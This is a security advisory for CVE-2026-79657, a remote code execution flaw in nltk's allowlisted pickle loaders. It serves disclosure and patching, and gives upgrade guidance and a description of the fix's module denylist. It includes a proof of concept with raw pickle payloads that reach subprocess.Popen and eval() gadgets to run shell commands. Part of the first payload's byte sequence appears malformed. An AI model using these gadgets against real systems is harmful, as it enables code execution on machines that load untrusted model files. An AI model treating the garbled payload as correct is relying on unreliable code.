criticalCVE-2026-79657Sep 8, 2026

CVE-2026-79657: nltk Allowlisted Pickle Loader Remote Code Execution

Rohit Hatagale
AI Security Researcher, SecureLayer7

NLTK's 'safe' allowlisted pickle loaders trust entire module namespaces instead of exact callables, letting a crafted pickle invoke dangerous functions like subprocess.Popen or eval() during model…

Packagenltk
Ecosystempip
Affected<= 3.10.2
Fixed in3.10.3
CVE-2026-79657: nltk Allowlisted Pickle Loader Remote Code Execution

The problem

nltk.picklesec.allowlisted_pickle_load and its callers punkt_pickle_load and TransitionParser.parse guard deserialization with a module-prefix allowlist, but an attacker who supplies a crafted model file can name any callable inside an allowlisted namespace.

punkt_pickle_load allows the whole nltk.tokenize namespace, which includes ReppTokenizer._execute, a direct subprocess.Popen sink. TransitionParser.parse allows the whole numpy namespace, which includes numpy.f2py.crackfortran.myeval, a direct eval() sink. Both gadgets execute before the caller can validate the returned object type, giving an attacker full code execution with the privileges of the process loading the file.

Proof of concept

A working proof-of-concept for CVE-2026-79657 in nltk, with the exact payload below.

python
import pickle, io

# Gadget 1: punkt_pickle_load path
# Calls nltk.tokenize.repp.ReppTokenizer._execute via pickle REDUCE,
# which internally calls subprocess.Popen with attacker-controlled args.
gadget1 = (
    b"cnltk.tokenize.repp\n"
    b"ReppTokenizer\n"
    b"(tR"
    b"}_execute\n"
    # REDUCE: invoke _execute('touch /tmp/PUNKT_RCE')
    b"cnltk.tokenize.repp\nReppTokenizer._execute\n"
    b"(V touch /tmp/PUNKT_RCE\ntR."
)

# Gadget 2: TransitionParser.parse path
# Calls numpy.f2py.crackfortran.myeval via pickle REDUCE,
# which calls eval() on the attacker-supplied string.
gadget2 = (
    b"cnumpy.f2py.crackfortran\n"
    b"myeval\n"
    b"(V__import__('os').system('touch /tmp/TP_RCE')\ntR."
)

# Deliver gadget1 to punkt_pickle_load
from nltk.tokenize.punkt import punkt_pickle_load
punkt_pickle_load(io.BytesIO(gadget1))

# Deliver gadget2 via TransitionParser.parse (reads path from file)
# TransitionParser.parse calls allowlisted_pickle_load(path, allowed_modules=("numpy","scipy","sklearn"))
from nltk.parse.transitionparser import TransitionParser
with open('/tmp/tp_payload.pkl', 'wb') as f:
    f.write(gadget2)
TransitionParser.parse(None, '/tmp/tp_payload.pkl', None)

The root cause (CWE-693 / CWE-502) is that find_class checks only whether the module string starts with an allowlisted prefix, never the actual callable name. Pickle REDUCE then resolves the full dotted path through getattr chains, reaching callables that live inside the trusted namespace prefix but were never intended to be deserializable.

The patch (commit c3e37113742a1ebeeb4f2ca58941f320f98805ea) tightens find_class with three layers before the allowlist is consulted: it rejects any name containing a dot (closing attribute-traversal chains), it denies a hardcoded set of dangerous modules (os, subprocess, numpy.f2py, nltk.tokenize.repp, builtins, and others) even when their parent prefix is allowlisted, and it replaces the broad nltk.tokenize prefix in punkt_pickle_load with the exact pair (nltk.tokenize.punkt, PunktLanguageVars) plus explicit safe primitives.

The fix

Upgrade nltk to 3.10.3 or later (pip install -U nltk). If an immediate upgrade is not possible, do not load tokenizer or transition-parser model files from untrusted or unverified sources. Internally, replace any broad module-prefix allowlists with exact (module, qualname) pairs covering only the specific classes your application genuinely needs to deserialize.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research